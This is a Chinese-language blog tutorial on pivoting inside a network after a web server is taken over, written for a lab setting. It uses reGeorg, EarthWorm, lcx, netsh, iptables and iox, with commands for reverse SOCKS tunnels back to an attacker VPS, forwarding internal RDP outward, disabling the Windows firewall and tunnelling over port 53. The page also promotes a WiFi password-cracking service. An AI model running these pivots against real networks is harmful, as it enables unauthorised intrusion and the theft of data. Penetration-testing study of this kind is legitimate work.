内网渗透之端口转发与代理工具学习

caocao1年前教程160

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

kali控制局域网电脑kali控制局域网电脑kali控制局域网电脑

内网转发

在渗透测试过程中,我们经常需要进行内网转发,以便方便地访问内网资源。常见的内网转发工具可以分为以下几类:

代理工具

reGeorg端口转发是一种常见的代理工具。它适用于公网服务器只开放了80端口的情况。reGeorg是用Python编写的利用Web进行代理的工具,流量只通过HTTP传输,即所谓的HTTP隧道。reGeorg脚本的特征非常明显,很多杀软都会进行查杀。

假设我们已经获取到了位于公网Web服务器的权限,或者我们拥有可以往公网Web服务器web目录下上传任何文件的权限,但是该服务器开启了防火墙,只开放了80端口。而内网中存在另外一台主机,假设为内网Web服务器。我们需要将公网Web服务器设置为代理,通过公网服务器的80端口访问和探测内网Web服务器的信息。

kali控制局域网电脑kali控制局域网电脑

根据公网服务器网站所使用的脚本类型,上传相应类型的脚本。例如,如果我们搭建的是PHP网站,可以上传tunnel.nosocket.php脚本。

实验过程中,我们可以通过本地与对方192.168.1.111通讯,对方有双网卡,可以与内网192.168.138.138通讯。将脚本上传成功后,可以访问一些脚本,验证上传是否成功。

 python2.exe .\reGeorgSocksProxy.py -u http://192.168.1.111/tunnel.nosocket.php  -p 1080
kali控制局域网电脑
Proxychains配置:在/etc/proxychains.conf ,将代理设置成本机的1080端口:socks5 127.0.0.1 1080
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.138.138
kali控制局域网电脑

然后,使用脚本reGeorgSocksProxy.py监听一个端口,建立一条通讯链路。接下来,我们可以利用代理工具Proxychains或Proxifier进行代理。在Windows平台上,可以使用Proxifier进行代理。

需要注意的是,要将python.exe添加到例外,否则会出现死循环。通过以上步骤,我们就可以通过192.168.1.111主机的代理访问到内网主机的WEB页面了。当然,也可以代理远程桌面,右击远程桌面选择Proxifier进行代理。

EW(EarthWorm)代理

EarthWorm是一套便携的网络工具,具有SOCKS5服务架设和端口转发两个核心功能。EarthWorm能够以正向、反向、多级级联等方式建立网络隧道。EarthWorm提供多个文件适用于不同的操作系统。

该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcxslave、lcxlisten、lcx_tran)。其中,ssocksd用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于多级级联网络环境。

实验过程中,正向连接的过程与reGeorg类似,也是上传相应的脚本,然后通过代理端口使用proxychains或Proxifier进行代理。这里我们实验了反弹SOCKS5代理,本地能与对方192.168.1.111通讯,对方双网卡,能与内网192.168.138.138通讯。

kali控制局域网电脑
然后在对方机器上操作:
ew_for_Win.exe -s rssocks -d VPS地址 -e 8888
kali控制局域网电脑kali控制局域网电脑

接着,我们使用代理工具进行代理配置。在配置文件/etc/proxychains.conf中将IP配置为VPS的IP和连接的端口。配置完成后,就可以远程登录内网主机了。

LXC端口转发

Lcx是基于socket套接字实现的端口转发工具,有Windows和Linux版本。Windows版是lcx.exe,Linux版是portmap。

在本地端口映射实验中,假设我们已经获取到了对方Web服务器的权限,这时可以通过9080端口远程连接对方内网服务器的3389端口,使用LXC端口转发技术来实现。

在对方Web服务器上执行命令,然后直接访问对方53端口就可以将流量转发到对方的3389端口。

在目标机器执行命令:
Lcx.exe -tran 9080 192.168.138.138 3389
这个意思是将内网目标的3389端口的流量转到9080端口送出去。然后就可以访问对方的9080端口访问到3389
kali控制局域网电脑

假设我们拿到了一个Web服务器的权限,它联通了内网可以访问内网,现在要通过Web服务器访问到内网中主机的资源来进一步渗透,这时就需要Web服务器中的中间跳板,也就是代理的作用来访问我们无法直接访问的内网主机。

配置好后,就可以访问内网了,例如访问一些无法直接访问的目标内网服务器。在浏览器中输入VPS的地址加上VPS转发的端口,就可以访问到对方内网的服务器了。当然,还有一种方法是我们可以访问WEB服务器,而内网有服务器。但是测试结果显示,对方除了80和53端口,其他端口的流量都不出口。这时,可以通过53端口将流量引出来。

访问规则:攻击者可以访问WEB服务器的80端口,对方DNS流量通往外网,但是其他端口除了80都关闭了。

WEB服务器配置:lcx.exe -tran 53 192.168.138.138 80

然后,我们访问内网主机的服务器也是可以访问到的。

Netsh进行端口转发

Netsh(Network Shell)是Windows系统提供的功能强大的网络配置命令行工具。自Windows XP开始,Windows中就内置了网络端口转发的功能。通过Portproxy模式下的Netsh命令,可以实现Windows系统中的端口转发。

基础命令使用Portproxy模式下的Netsh命令即可实现端口转发,转发命令如下:

VPS <==========
| |=======> web服务器 <==========> 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136

转发语法:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)。

禁用系统防火墙
netsh firewall set opmode disable
启用防火墙
netsh firewall set opmode enable

# windows 7 及以上
netsh advfirewall set allprofiles state off / on


进行端口转发
netsh interface portproxy add v4tov4 listenaddress=192.168.1.111 listenport=1080 connectaddress=192.168.138.138 connectport=3389 #新建一个端口映射,将外网网卡192.168.1.111的1080端口和192.168.138.138的3389端口做个映射
netsh interface portproxy show all #查看端口映射
kali控制局域网电脑kali控制局域网电脑

在环境中,我们需要通过WEB服务器去访问无法直接访问的内网服务器。需要以管理员身份启动命令提示符并执行以下命令。

通过以上步骤,我们可以通过访问WEB服务器的1080端口,将流量转发给内网服务器的3389端口。使用完代理后,可以删除端口转发规则。

如果想要清空当前所有的配置规则,可以执行以下命令。

当然,也可以根据不同的环境配置进行转发,无论是转发内网主机是Linux还是其他系统,配置方法都是类似的,只需要按照当前环境进行相应的配置即可。

Iptables进行端口转发

IPTABLES是与最新的3.5版本Linux内核集成的IP信息包过滤系统。它能够在Linux系统上更好地控制IP信息包过滤和防火墙配置。所有的Linux发行版都可以使用iptables。

接着,可以通过远程登录192.168.1.47的5555端口来访问192.168.1.111的3389端口。如果要转发SSH,也是类似的,只需要将内网22端口转发流量到WEB服务器即可。

iox代理工具

iox功能类似于lcx/ew,但是iox更加优秀。iox在网络编程逻辑上进行了优化,并提供了流量加密和UDP流量转发的功能。iox是基于Golang语言编写的。首先,在Go目录的src子目录下克隆iox项目,并使用go build iox编译成.exe文件。

iox具有以下特性:

  • 用法统一,所有参数都是一致的。
  • 两种模式:fwd和proxy。

在fwd模式下,可以监听两个端口并将两个连接之间的流量进行转发。在proxy模式下,可以在本地启动Socks5服务,并将服务转发到公网VPS上。需要注意的是,这两种模式的命令必须成对使用,因为它们内部包含了一个简单的协议来控制回连。

./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999

for lcx:
./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
./iox proxy -l 1080

for ew:
./ew -s ssocksd -l 1080
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的

for ew:
./ew -s rcsocks -l 1080 -e 9999
./ew -s rssocks -d 1.1.1.1 -e 9999
kali控制局域网电脑

iox还支持UDP转发,只需要添加命令行参数"-u"。需要注意的是,在进行多级连接的转发时,Remote2Remote-UDP-mode必须最后一个被启动。

UDP转发可能会有一些不符合预期的行为。目前在GitHub上只有将本地监听的UDP流量转发到远程主机的例子,所以我只能根据我的理解来实现。

在场景实验中,假设攻击者不能直接访问内网服务器,但可以访问WEB服务器,而WEB服务器可以访问内网服务器。通过WEB服务器转发内网主机的3389端口,就可以访问内网的服务。

kali控制局域网电脑
 VPS <==========
| |=======> web服务器 <==========> 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136

现在我们在VPS上面监听端口,本地转发端口流量,将目标主机的6666端口流量转发到本地2323端口
wine iox.exe fwd -l 6666 -l 2323

访问成功!通过转发端口,可以访问到内网主机的3389端口。假设我们拿到了一个Web服务器的权限,它联通了内网可以访问内网,现在要通过Web服务器访问到内网中主机的资源来进一步渗透,这时就需要Web服务器中的中间跳板,也就是代理的作用来访问我们无法直接访问的内网主机。

kali控制局域网电脑
接着在目标机器上面执行命令,把内网机器的3389端口从6666端口转出流量
iox.exe fwd -r VPS_IP:6666 -r 192.168.138.138:3389
kali控制局域网电脑
首先在目标机器上开启Socks5服务:
iox.exe proxy -l 1080
kali控制局域网电脑kali控制局域网电脑

接着,我们可以通过访问VPS的IP加上2323端口来访问内网主机的3389端口。iox还提供了Proxy代理功能,在VPS上监听一个端口,然后将流量转发到目标主机的相应端口。连接成功后,可以使用proxychains或proxifier进行代理,这里我使用proxifier进行代理,将VPS的IP和端口配置为1080。配置完成后,就可以访问内网主机的3389端口了。

以上是关于内网转发的一些工具和方法,希望对您有所帮助。如有错误,请多多指正!

渗透测试【红队攻防 - 内网渗透】培训服务,专注于职业渗透场景下的尖端技术培训。5号黯区。

相关文章

提一下新手常见的两个误区。

提一下新手常见的两个误区。

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 首先要提到新手常见的两个...

在Linux中软件应该怎么去安装

在Linux中软件应该怎么去安装

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 在Linux下安装软件有...

判断无线网卡是否支持监听模式

根据您的要求,我将以极客的语气复述您的文章: 首先,我要介绍微软推出的一款无线键盘鼠标套装,型号是Microsoft Wireless Keyboard/Mouse 800。这套键鼠具有反应灵敏、手感...

U盘启动CDlinux失败了……

U盘启动CDlinux失败了……

# CDLinux系统安装问题解决方案 最近我对CDLinux系统产生了兴趣,于是下载了一个版本来尝试。我先在虚拟机上进行了测试,感觉还不错,于是决定将其安装到U盘上进行使用。由于之前有在U盘上启动...